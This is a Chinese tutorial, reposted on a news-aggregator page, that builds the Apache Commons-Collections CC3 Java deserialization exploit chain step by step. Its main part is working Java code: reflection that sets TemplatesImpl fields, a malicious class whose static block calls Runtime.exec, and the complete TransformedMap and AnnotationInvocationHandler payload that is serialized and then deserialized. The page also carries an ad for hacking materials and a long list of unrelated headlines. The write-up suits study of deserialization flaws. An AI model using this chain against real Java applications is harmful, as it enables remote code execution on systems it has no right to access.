首页 > 资讯 > > 正文

当前热议!CC1打不通时的另外一条链CC3

来源:合天网安实验室 2023-02-23 06:59:40

在CC1和CC6中,我们最终弹计算器都是通过Runtime.exec进行调用,从CC3我们要介绍一种不通过Runtime来弹计算器的方法,也就是Java中常提到的动态类加载,动态类加载可以让我们通过一个路径来加载一个恶意类,如果这个恶意类在静态代码块或构造代码块中写入了恶意方法,那么我们就可以通过找一条链子来初始化这个类(一般在进行实例化时会对类进行初始化),从而达到代码块中的代码执行。

ClassLoader中的defineClass最终实现了类的动态加载(后面还有一些过程但已经是依靠c来实现的了),在ClassLoader中可以看到一堆defineClass,我们查找用法,看一下哪个defineClass在别处被调用了,而且权限最好是default或者public,方便我们利用,最终锁定下面这个:


(资料图片)

protectedfinalClassdefineClass(Stringname, byte[] b, intoff, intlen)throwsClassFormatError

这个defineClass被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl.TransletClassLoader下,也是一个defineClass:

这个defineClass又在当前类中被defineTransletClasses调用:

defineTransletClasses同类下有三个被调用点,我们看一下哪个方法可以被我们利用:

【----帮助网安学习,需要网安学习资料,私信回复“资料”获取----】① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

第一个返回_class:

privatesynchronizedClass[] getTransletClasses() {try {if (_class==null) defineTransletClasses();}catch (TransformerConfigurationExceptione) {// Falls through}return_class;}

第二个返回了_class的下标:

publicsynchronizedintgetTransletIndex() {try {if (_class==null) defineTransletClasses();}catch (TransformerConfigurationExceptione) {// Falls through}return_transletIndex;}

第三个方法我们主要看newInstance这里,这个_class[_transletIndex]可控(通过上面找到的defineTransletClasses动态加载进来),如果我们让_class为我们所构造的恶意类并让它newInstance,那么就可以执行恶意类中的静态/构造代码块中的代码,所以我们接着找这个方法的调用点:

privateTransletgetTransletInstance()throwsTransformerConfigurationException {try {if (_name==null) returnnull;if (_class==null) defineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslettranslet= (AbstractTranslet) _class[_transletIndex].newInstance();

下一调用点还是在这个类中,我们找到newTransformer()这个方法:

publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpltransformer;transformer=newTransformerImpl(getTransletInstance(), _outputProperties,_indentNumber, _tfactory);

我们来梳理一下到目前的调用链,很短也很方便:

我们先将payload写出来:

TemplatesImpltemplatesimpl=newTemplatesImpl();templatesimpl.newTransformer();

写完啦 下班!(开个玩笑)逻辑上来说这两行代码确实是完整的调用链,我们接下来要做的就是对类内部的各种属性进行赋值:

newTransformer内不需要进行赋值操作,跟进到getTransletInstance中 ,类内没有对name和class进行赋值,如果想要触发defineTransletClasses()我们就需要让name不为空,class为空,直接不给_class赋值即可:

if (_name==null) returnnull;if (_class==null) defineTransletClasses();

继续跟进到defineTransletClasses中 ,如果想要走到下面动态加载class,我们这里要注意对tfactory进行赋值,否则对一个空属性调用方法,会爆空指针异常:

return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());

上一步之后我们在对class赋值这里可以看到是通过修改_bytecodes从而控制class的值:

for (inti=; i

一共三个需要修改的值,TemplatesImpl类是可序列化的,所以我们可以直接通过反射修改这些值,看一下这几个值的类型:

privateString_name=null;privatebyte[][] _bytecodes=null;privatetransientTransformerFactoryImpl_tfactory=null;

都是private属性,所以要用setAccessible 来修改访问权限,name是String类型,所以直接赋个字符串就行:

Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");

再看_bytecodes,一个二维数组,但我们在给_class赋值时defineClass接受的却是一个一维数组:

for (inti=; i

所以我们给_bytecodes 赋值时可以将defineClass接收的一维数组放进_bytecodes这个二维数组中,这样在进行for循环遍历时就可以将这个一维数组遍历出来并传给defineClass,这个class需要我们在写好java源码后手动编译为class文件,最好把这个class文件复制到电脑上的别的地方再在这里使用(编译后的class文件一般在target下):

FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);

Test.classpublicclassCalc {static{try {Runtime.getRuntime().exec("open -na Calculator"); //这里是mac弹计算器的命令} catch (IOExceptione) {//win下还是calcthrownewRuntimeException(e);}}}

然后我们再来改_tfactory的值:

这里要注意一下,被transient关键字修饰的属性是不参与序列化的,也就是说就算我们通过反射修改了它的值,反序列化后的二进制流这个属性的值也依旧是null,所以这里我们要用其他的方式赋值

private transient TransformerFactoryImpl _tfactory = null;

我们在readObject中发现有对这些属性进行赋值的操作,_tfactory的值是一个TransformerFactoryImpl实例:

_name= (String)gf.get("_name", null);//以下几行代码对序列化流中的属性读取它们的值,如果读不到值那么将它的值设为默认值(第二个参数)_bytecodes= (byte[][])gf.get("_bytecodes", null);_class= (Class[])gf.get("_class", null);_transletIndex=gf.get("_transletIndex", -1);_outputProperties= (Properties)gf.get("_outputProperties", null);_indentNumber=gf.get("_indentNumber", );if (is.readBoolean()) {_uriResolver= (URIResolver) is.readObject();}_tfactory=newTransformerFactoryImpl();}

我们先不进行序列化和反序列化,我们先用反射修改_tfactory的值,看看能不能弹计算器(这里我们并没有进行序列化和反序列化,所以其实就是用反射修改了个值,所以是可以修改成功的):

TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());templatesimpl.newTransformer();

没有弹出来计算器,爆了空指针异常,通过调试发现在_class成功加载类后,是这里抛出了异常:

finalClasssuperClass=_class[i].getSuperclass();if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex=i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex<) {ErrorMsgerr=newErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);thrownewTransformerConfigurationException(err.toString());}

第一个if检查class的父类是否叫ABSTRACT_TRANSLET ,如果没有进入到if里面那么else中的auxClasses为空,就会抛空指针,并且下面第二个if中也会抛异常,为了避免这两个抛异常的点,我们需要将_class加载的恶意类继承名为ABSTRACT_TRANSLET 的父类:

privatestaticStringABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjava.lang.reflect.Field;importjava.nio.file.Files;importjava.nio.file.Path;importjava.nio.file.Paths;publicclassCC3Test {publicstaticvoidmain(String[] args) throwsException{TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());templatesimpl.newTransformer();}}

下面我们要想办法执行templatesimpl.newTransformer,这里依旧是用CC1中用到的InvokerTransformer.transform进行代码的执行:

TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());ChainedTransformerctf=newChainedTransformer(newTransformer[]{newConstantTransformer(templatesimpl),newInvokerTransformer("newTransformer",null,null)});ctf.transform(1);

剩下的找Chainedtransformer.transform 的调用点就和CC1后面一样了,直接粘过来就是:

packageysoserial.payloads.Test;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.lang.annotation.Target;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.nio.file.Files;importjava.nio.file.Path;importjava.nio.file.Paths;importjava.util.HashMap;importjava.util.Map;importstaticysoserial.payloads.util.Test.util.Serialize.serialize;importstaticysoserial.payloads.util.Test.util.Unserialize.unserialize;publicclassCC3Test {publicstaticvoidmain(String[] args) throwsException{TemplatesImpltemplatesimpl=newTemplatesImpl();Classtmp=templatesimpl.getClass();FieldnameField=tmp.getDeclaredField("_name");nameField.setAccessible(true);nameField.set(templatesimpl,"y1");FieldbytecodesField=tmp.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code=Files.readAllBytes(Paths.get("/Users/y1zh3e7/Desktop/Test.class"));byte[][] codes= {code};bytecodesField.set(templatesimpl,codes);Fieldtfactoryfield=tmp.getDeclaredField("_tfactory");tfactoryfield.setAccessible(true);tfactoryfield.set(templatesimpl,newTransformerFactoryImpl());ChainedTransformerctf=newChainedTransformer(newTransformer[]{newConstantTransformer(templatesimpl),newInvokerTransformer("newTransformer",null,null)});HashMapmap=newHashMap();map.put("value","v");MaptransformedMap=TransformedMap.decorate(map,null,ctf);ClassannotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");ConstructorannotationInvocationHandlerconstructor=annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);annotationInvocationHandlerconstructor.setAccessible(true);Objecto=annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);serialize(o);unserialize("ser.bin");}}

x
推荐阅读

当前热议!CC1打不通时的另外一条链CC3

2023-02-23 06:59:40

如何做好知识管理? 热点

2023-02-23 01:03:40

泽连斯基提交草案,批准对俄罗斯金融机构实施制裁的决定-每日快看

2023-02-22 21:48:10

最新快讯!上合示范区在京举行合作洽谈会 12个重点项目落地

2023-02-22 19:10:09

苹果怎么投屏到投影仪上 全球聚焦

2023-02-22 18:19:43

新华指数|2月22日山东港口大商中心钢坯价格上行、热轧C料价格稳中有跌

2023-02-22 17:06:15

代履行不属于行政强制执行的方式_行政强制执行的方式

2023-02-22 15:05:02

甲亢的治疗方法有哪些_甲亢治疗方法及后遗症 今日最新

2023-02-22 12:45:54

微动态丨国家邮政局:深化农村寄递物流体系建设 提升农村地区邮政服务水平

2023-02-22 10:52:07

大众途铠外观耐看,配1.5L+6AT变速箱,稳定可靠,油耗经济

2023-02-22 09:08:23
相关新闻

当前热议!CC1打不通时的另外一条链CC3

2023-02-23 06:59:40

如何做好知识管理? 热点

2023-02-23 01:03:40

泽连斯基提交草案,批准对俄罗斯金融机构实施制裁的决定-每日快看

2023-02-22 21:48:10

最新快讯!上合示范区在京举行合作洽谈会 12个重点项目落地

2023-02-22 19:10:09

苹果怎么投屏到投影仪上 全球聚焦

2023-02-22 18:19:43

新华指数|2月22日山东港口大商中心钢坯价格上行、热轧C料价格稳中有跌

2023-02-22 17:06:15

代履行不属于行政强制执行的方式_行政强制执行的方式

2023-02-22 15:05:02

甲亢的治疗方法有哪些_甲亢治疗方法及后遗症 今日最新

2023-02-22 12:45:54

微动态丨国家邮政局:深化农村寄递物流体系建设 提升农村地区邮政服务水平

2023-02-22 10:52:07

大众途铠外观耐看,配1.5L+6AT变速箱,稳定可靠,油耗经济

2023-02-22 09:08:23

今日关注:如何修理帆布沙滩椅

2023-02-22 06:59:31

大脚插件怎么下载不了_大脚下载了用不了

2023-02-22 01:52:57

感染梅毒多久出现二期症状_感染梅毒多久出现症状

2023-02-21 22:00:00

02月21日15时浙江舟山疫情数据 阳了以后为什么会腰疼?应该怎么办?

2023-02-21 19:03:26

欢乐家董秘回复:截至2023年2月20日,公司股东总数为18,850户

2023-02-21 17:03:48

21万跌至9万,2.0L+耐用6AT,合资SUV“耐用王”,油耗才6个

2023-02-21 15:43:53

今日精选:奋进的春天丨薪资上涨企业跨省“抢人”忙 就业市场迎来第一阵春风

2023-02-21 14:12:05

亨迪药业:最大产量保供,退烧药短缺将持续缓解-世界新消息

2023-02-21 11:44:07

阳了应该怎么办-阳性感染者如何用药 02月21日10时甘肃白银疫情数据

2023-02-21 09:51:38

【环球新要闻】永劫无间新地图引热议:从西域回到无极帝国,为何多了一口大棺材

2023-02-21 08:17:43

新闻的特点和结构_新闻的特点

2023-02-21 04:02:30

世界即时看!RNG复仇成功,击败LGD拿下三连胜,呼吸哥反杀同归于尽,明立大功

2023-02-20 23:58:06

天天时讯:外国专家:谁有动机炸毁“北溪”管道?

2023-02-20 20:44:22

2023北京平谷区惠民消费券领取/使用攻略(附入口)_天天快消息

2023-02-20 18:00:56

环球最新:黄金多头剑指何处?中线布局多单?黄金行情走势分析

2023-02-20 16:03:16

宣武门属于北京哪个区_宣武门属于什么区

2023-02-20 14:07:51

安庆石化总厂党委办公室 世界微头条

2023-02-20 12:00:19

湖北高新技术企业总数突破20000家

2023-02-20 10:14:36

全球简讯:【社交秀】托纳利女友美丽魔法装,瓦尔加性感短裙

2023-02-20 08:06:04

天天视点!霍兰德职业兴趣测试测评_霍兰德职业兴趣测评免费版

2023-02-20 04:50:24

魔鬼主场,曼联在近11个英超主场9胜2平保持不败 热闻

2023-02-20 00:09:48

Boult Audio推出亮度高达1000尼特的Swing智能手表-环球新消息

2023-02-19 20:05:13

讯息:得胜诗歌

2023-02-19 17:08:03

郭广昌:未来10年对酱酒至关重要,复星将在上海外滩建立“酒业蜂巢”

2023-02-19 13:51:49

【环球新视野】河北崇礼:冰雪小镇迎春雪

2023-02-19 08:05:35

乡村要振兴,医药要先行 时讯

2023-02-19 04:44:31

cad撤销快捷键怎么按了没用-cad撤销快捷键 今日观点

2023-02-18 23:53:10

当前时讯:阿尔品车队老板Szafnauer为2023年设定了明确的目标,并分享了他们“100场比赛计划”的

2023-02-18 20:00:52

头条:布伦特福德近10场英超比赛未尝败绩,仅次于纽卡斯尔的17场不败

2023-02-18 17:11:08

年度汽车可靠性排行,第一和倒数第一毫无悬念 天天快播

2023-02-18 14:10:46

环球播报:权威快报丨全面实行股票发行注册制正式实施

2023-02-18 11:57:24

赶紧报名!江门新会区总资助新就业形态劳动者免费上大学

2023-02-18 09:11:08

关于传统的西班牙美食-每日视讯

2023-02-18 06:14:42

2月17日基金净值:富国新机遇灵活配置混合A最新净值1.7713,跌1.28% 天天微头条

2023-02-18 01:24:11

Thriftmaster在现代的restomod跑步装备上采用复古设计

2023-02-17 22:11:37

千斗五十铃_说一说千斗五十铃的简介

2023-02-17 20:03:02

广州锦绣香江物业管理有限公司

2023-02-17 17:45:26

2022银行系险企业绩盘点:保费全部正增长,净利大幅缩水

2023-02-17 16:04:05

english book制作_english book封面自制 环球新视野

2023-02-17 14:56:25

环球要闻:火遍全世界的《霍格沃兹之遗》,是《哈利波特》改编的游戏

2023-02-17 12:20:28

秭归梅家河乡卫生院召开作风整顿工作部署会

2023-02-17 10:08:26

一年最高节省50万元!河南“新版”科技创新券正式启用

2023-02-17 08:59:36

今日热讯:联想k5pro如何测量心率?

2023-02-17 04:49:01

网络媒体平台有哪些_网络媒体有哪些

2023-02-16 23:59:53

每日热文:阳了应该怎么办-阳性感染者如何用药 02月16日20时安徽马鞍山疫情数据

2023-02-16 21:05:33

环球讯息:电脑上跟踪手机位置的软件_电脑上跟踪手机位置

2023-02-16 18:59:53

A股:高台跳水,放量杀跌,股市变天了?_世界聚焦

2023-02-16 16:48:51

汽车疑问解答:贵l是哪里的车牌号码|当前速看

2023-02-16 14:55:23

环球实时:Meta高管:公司也有复苏迹象,苹果ATT隐私措施对其影响不会消失

2023-02-16 13:02:20

今日快讯:瓦斯叮当怎么超进化_瓦斯叮当

2023-02-16 10:55:15

每日视点!联合光电:连续3日融资净买入累计867.69万元(02-15)

2023-02-16 08:51:05

公务员报考专业分类目录 今日快看

2023-02-16 06:59:02

今日看点:带剑的古风名字大全_带剑的古风名字

2023-02-16 05:55:40

冯喆女友,湖南卫视欲邀奥运冠军冯喆当主持_天天快看点

2023-02-16 04:04:37

约翰尼德普的电影,约翰尼德普女友,约翰尼德普个人资料|热议

2023-02-16 01:05:51

最新消息:手游英雄联盟最高多少级_英雄联盟最高多少级

2023-02-16 00:51:20

已经怀孕吃了避孕药会怎么样_已经怀孕了吃避孕药有用吗-头条

2023-02-15 21:48:03

一建考试成绩几月份出来_一建考试成绩什么时候出来-环球新要闻

2023-02-15 21:53:54

不明无人机飞越丹麦最大油气田

2023-02-15 19:46:06

DNF公共频道是怎么回事

2023-02-15 18:44:35

2月15日河南赛腾聚丙烯酰胺报价平稳 热点评

2023-02-15 18:02:49

今热点:海南撤回公积金贷款资产证券化、贴息贷款文件:对表述进行内部修改及完善

2023-02-15 17:03:44

寿仙谷(603896)2月15日主力资金净卖出624.15万元_天天热闻

2023-02-15 15:29:40

天天快看点丨偶像练习生出道成员有谁 偶像练习生最后推出的团体叫什么

2023-02-15 14:55:03

全球快资讯:绘画教程】1000+动漫线稿笔刷教程描线上色练习参考,线稿分享!!

2023-02-15 14:06:17

【热闻】12岁脑瘫女孩被同岁亲戚性侵 脑瘫有意识和思想吗

2023-02-15 12:07:38

漂亮的粽子简笔画教程步骤图片|世界快消息

2023-02-15 10:56:47

全球报道:涨停雷达:人工智能个股异动 智能自控触及涨停

2023-02-15 10:34:04

总投资1.3亿元!科创新材拟投建年产6000吨新能源电池材料生产线

2023-02-15 08:48:54

时尚穿搭:吊带衫搭配修身牛仔裤,彰显气质女生-今日热门

2023-02-15 06:49:28

企业运营模式

2023-02-15 06:53:23

关于寒假假期作文5篇

2023-02-15 02:55:28

如何庆祝圣诞节 环球报资讯

2023-02-15 02:19:59

肉桂的功效与作用

2023-02-14 23:06:51

只狼存档位置win10_只狼存档位置win 1_焦点日报

2023-02-14 22:48:00

16GB内存是“伪需求”?厂商竞争不择手段,刻意营造内存焦虑!_环球快报

2023-02-14 20:00:11

环球微动态丨《伊豆的舞女》读后感

2023-02-14 19:00:12

全球观察:新强联巨额融资不断

2023-02-14 17:55:57

全球微头条丨送人礼物送什么

2023-02-14 16:25:07

每日快看:乒乓球的基本比赛规则

2023-02-14 15:43:59

全球快看:湖州永昌丝绸有限公司_关于湖州永昌丝绸有限公司介绍

2023-02-14 14:43:57

湿气重吃什么能去湿气_吃什么去湿气最好

2023-02-14 12:59:30

什么叫收支两条线? 焦点

2023-02-14 11:57:23

炒土豆片怎么炒才好吃又简单-炒土豆片

2023-02-14 11:01:20

世界新资讯:玫瑰、草莓熊……济南街头浪漫氛围拉满

2023-02-14 09:14:17

当前播报:电器失效分析,扭力疲劳测试

2023-02-14 06:58:13

光谱分析法_关于光谱分析法的介绍-天天聚看点

2023-02-14 05:13:16

给老婆买什么礼物最贴心

2023-02-14 02:20:20

瑞士乐团班得瑞的简介

2023-02-14 01:15:21

当前热讯:创意礼物送女生网红爆款

2023-02-13 22:11:41